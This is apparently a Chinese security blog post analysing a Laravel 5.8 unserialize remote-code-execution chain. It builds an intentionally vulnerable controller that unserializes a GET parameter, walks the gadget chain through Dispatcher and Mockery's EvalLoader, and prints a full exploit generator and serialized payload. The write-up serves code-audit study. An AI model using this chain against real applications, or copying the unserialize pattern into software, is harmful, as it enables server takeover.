zoukankan      html  css  js  c++  java
  • Laravel 5.8 RCE 分析

    原帖地址 : https://xz.aliyun.com/t/6059
    Laravel 代码审计

    环境搭建

    • composer create-project --prefer-dist laravel/laravel laravel58 安装 Laravel 5.8 并生成 laravel58 项目

    • 进入项目文件夹,使用 php artisan serve 启动 web 服务

    • laravel58/routes/web.php 文件添加路由

      Route::get("/","AppHttpControllersDemoController@demo");
      
    • laravel58/app/Http/Controllers/ 下添加 DemoController.php 控制器

      <?php
      namespace AppHttpControllers;
      
      class DemoController extends Controller
      {
          public function demo()
          {
              if(isset($_GET['c'])){
                  $code = $_GET['c'];
                  unserialize($code);
              }
              else{
                  highlight_file(__FILE__);
              }
              return "Welcome to laravel5.8";
          }
      }
      

    漏洞分析

    • ph 牛的 payload : https://github.com/ambionics/phpggc/pull/61

    • IlluminateBroadcastingPendingBroadcast 类的 __destruct 方法开始的 pop 链

    • IlluminateBroadcastingPendingBroadcast 中,$events 必须实现 Dispatcher 接口,这里选择的是 IlluminateBusDispatcher

      public function __construct(Dispatcher $events, $event)
      {
          $this->event = $event;
          $this->events = $events;
      }
      
      public function __destruct()
      {
          $this->events->dispatch($this->event);
      }
      
    • IlluminateBusDispatcher 中,调用 dispatch 方法,进入 if 判断,$this->queueResolver 是在实例化 IlluminateBusDispatcher 时的一个参数,它必须有值,$command 也就是 $this->event 必须实现 ShouldQueue 接口,这里选择的就是 IlluminateBroadcastingBroadcastEvent

      // $command : $this->event
      public function dispatch($command)
      {
          if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
              return $this->dispatchToQueue($command);
          }
          
          return $this->dispatchNow($command);
      }
      
      public function __construct(Container $container, Closure $queueResolver = null)
      {
          $this->container = $container;
          $this->queueResolver = $queueResolver;
          $this->pipeline = new Pipeline($container);
      }
      
      protected function commandShouldBeQueued($command)
      {
          return $command instanceof ShouldQueue;
      }
      
    • 到这里,构造出的 exp :

      <?php
      namespace IlluminateBroadcasting {
          class PendingBroadcast {
              protected $events;
              protected $event;
              function __construct($evilCode)
              {
                  $this->events = new IlluminateBusDispatcher();
                  $this->event = new BroadcastEvent($evilCode);
              }
          }
      }
      ?>
      
    • 然后进入 dispatchToQueue 方法,存在 call_user_func 方法,其中的 $this->queueResolver 是可控的,这里利用的是 MockeryLoaderEvalLoaderload 方法,即 $this->queueResolverarray(new MockeryLoaderEvalLoader(), "load")

      public function dispatchToQueue($command)
      {
          $connection = $command->connection ?? null;
          
          $queue = call_user_func($this->queueResolver, $connection);
          
          if (! $queue instanceof Queue) {
              throw new RuntimeException('Queue resolver did not return a Queue implementation.');
          }
      
          if (method_exists($command, 'queue')) {
              return $command->queue($queue, $command);
          }
          
          return $this->pushCommandToQueue($queue, $command);
      }
      
    • 这个点的意思就是

      1. $this->events 调用 dispatch 传入参数 $this->event
      2. 访问 $this->eventsqueueResolver 属性
      3. 调用 $this->events->commandShouldBeQueued($this->event) 方法
      4. 调用 dispatchToQueue 传入 $this->event 参数。其中的 $connection$this->event->connection ,即 IlluminateBroadcastingBroadcastEvent 中的 $connection 属性
      5. call_user_func$connection 作为参数传给 $this->queueResolver 返回的函数
    • 到这里,构造出的 exp 如下,已经实现 call_user_func($this->queueResolver, $connection)call_user_func($evilFunc, $evilCode) ,接下来就要寻找一个可以利用的函数,这里选择的是 MockeryLoaderEvalLoader ,继续跟进

      <?php
      namespace IlluminateBroadcasting {
          class PendingBroadcast {
              protected $events;
              protected $event;
              function __construct($evilCode)
              {
                  $this->events = new IlluminateBusDispatcher();
                  $this->event = new BroadcastEvent($evilCode);
              }
          }
      	
      	class BroadcastEvent {
              public $connection;
              function __construct($evilCode)
              {
                  $this->connection = $evilCode;
              }
          }
      }
      
      namespace IlluminateBus {
          class Dispatcher {
              protected $queueResolver;
              function __construct()
              {
                  $this->queueResolver = $evilFunc;
              }
          }
      }
      
    • MockeryLoaderEvalLoader 中有一个 eval 函数可以利用,这里的 $definitionMockDefinition 类的实例化对象,也就说明 $this->event->connectionMockDefinition 类的实例化对象。接下来就是绕过 if 判断。

      class EvalLoader implements Loader
      {
          public function load(MockDefinition $definition)
          {
              if (class_exists($definition->getClassName(), false)) {
                  return;
              }
      
              eval("?>" . $definition->getCode());
          }
      }
      
    • 跟进 MockeryGeneratorMockDefinition ,如果要绕过 if 判断,必须让 getClassName 返回一个不存在的类名,即 $this->config->getName() 返回一个不存在的类名。$configMockeryGeneratorMockConfiguration 的实例化对象

      class MockDefinition
      {
          protected $config;
          protected $code;
      
          public function __construct(MockConfiguration $config, $code)
          {
              if (!$config->getName()) {
                  throw new InvalidArgumentException("MockConfiguration must contain a name");
              }
              $this->config = $config;
              $this->code = $code;
          }
      
          public function getConfig()
          {
              return $this->config;
          }
      
          public function getClassName()
          {
              return $this->config->getName();
          }
      
          public function getCode()
          {
              return $this->code;
          }
      }
      
    • MockeryGeneratorMockConfiguration 中,让 getName() 返回一个不存在的类名,最终执行 eval("?>" . $definition->getCode()); 实现 RCE

      class MockConfiguration
      {
          protected $name;
          
          public function getName()
          {
              return $this->name;
          }
      }
      
    • 最终的 exp ,(ph 牛的 exp ) :

      <?php
      namespace IlluminateBroadcasting {
          class PendingBroadcast {
              protected $events;
              protected $event;
              function __construct($evilCode)
              {
                  $this->events = new IlluminateBusDispatcher();
                  $this->event = new BroadcastEvent($evilCode);
              }
          }
      	
      	class BroadcastEvent {
              public $connection;
              function __construct($evilCode)
              {
                  $this->connection = new MockeryGeneratorMockDefinition($evilCode);
              }
          }
      }
      
      namespace IlluminateBus {
          class Dispatcher {
              protected $queueResolver;
              function __construct()
              {
                  $this->queueResolver = [new MockeryLoaderEvalLoader(), 'load'];
              }
          }
      }
      
      namespace MockeryLoader {
          class EvalLoader {}
      }
      namespace MockeryGenerator {
          class MockDefinition {
              protected $config;
              protected $code;
              function __construct($evilCode)
              {
                  $this->code = $evilCode;
                  $this->config = new MockConfiguration();
              }
          }
          class MockConfiguration {
              protected $name = 'abcdefg';
          }
      }
      
      namespace {
      	$code = "<?php phpinfo(); exit; ?>";
      	$exp = new IlluminateBroadcastingPendingBroadcast($code);
      	echo serialize($exp);
      }
      ?>
      
    • 构造输出结果 :

      O:40:"IlluminateBroadcastingPendingBroadcast":2:{S:9:"0*0events";O:25:"IlluminateBusDispatcher":1:{S:16:"0*0queueResolver";a:2:{i:0;O:25:"MockeryLoaderEvalLoader":0:{}i:1;S:4:"load";}}S:8:"0*0event";O:38:"IlluminateBroadcastingBroadcastEvent":1:{S:10:"connection";O:32:"MockeryGeneratorMockDefinition":2:{S:9:"0*0config";O:35:"MockeryGeneratorMockConfiguration":1:{S:7:"0*0name";S:7:"abcdefg";}S:7:"0*0code";S:25:"<?php phpinfo(); exit; ?>";}}}
      

    一些思考

    • 危险函数的寻找

      eval,call_user_func

    • phpstorm + xdebug 调试代码

    • PHP 序列化的时候 private 和 protected 变量会引入不可见字符 x000Test0y 为 private,0*0 为 protected,注意这两个 x00 就是 ascii 码为 0 的字符。这个字符显示和输出可能看不到,甚至导致截断,url 编码后就可以看得很清楚了。此时,为了更加方便进行反序列化 payload 的传输与显示,我们可以在序列化内容中用大写 S 表示字符串,此时这个字符串就支持将后面的字符串用 16 进制表示。

      <?php
      class Test
      {
      	public $x="peri0d";
      	private $y="peri0d";
      	protected $z="peri0d";
      }
      
      $k = new Test();
      
      echo serialize($k);
      
      // O:4:"Test":3:{S:1:"x";S:6:"peri0d";S:7:"0Test0y";S:6:"peri0d";S:4:"0*0z";S:6:"peri0d";}
      ?>
      
    • 反序列化测试代码 :

      <?php
      // 环境 : php 7.1.13 nts
      class Test
      {
      	public $x="peri0d";
      	private $y="peri0d";
      	protected $z="peri0d";
      }
      
      $n = new Test();
      var_dump(serialize($n));
      var_dump(unserialize(serialize($n))); // 成功
      
      $k = 'O:4:"Test":3:{S:1:"x";S:6:"peri0d";S:7:"0Test0y";S:6:"peri0d";S:4:"0*0z";S:6:"peri0d";}';
      var_dump(unserialize($k)); // 成功
      
      $m = 'O:4:"Test":3:{s:1:"x";s:6:"peri0d";s:7:"0Test0y";s:6:"peri0d";s:4:"0*0z";s:6:"peri0d";}';
      var_dump(unserialize($m)); // 失败
      
      $l = 'O:4:"Test":3:{s:1:"x";s:6:"peri0d";s:7:"Testy";s:6:"peri0d";s:4:"*z";s:6:"peri0d";}';
      var_dump(unserialize($l)); // 失败
      ?>
      

    参考链接

  • 相关阅读:
    Linq查询
    Lambda表达式与标准运算符查询
    第四章 面向对象与IO操作
    第三章 C#循环与方法
    第二章 C#基本数据类型
    FPGA与嵌入式一点见解
    FPGA中RAM使用探索
    可控硅的工作原理和主要作用
    异步电路中时钟同步的方法
    FPGA中计数器设计探索
  • 原文地址:https://www.cnblogs.com/peri0d/p/11508890.html
Copyright © 2011-2022 走看看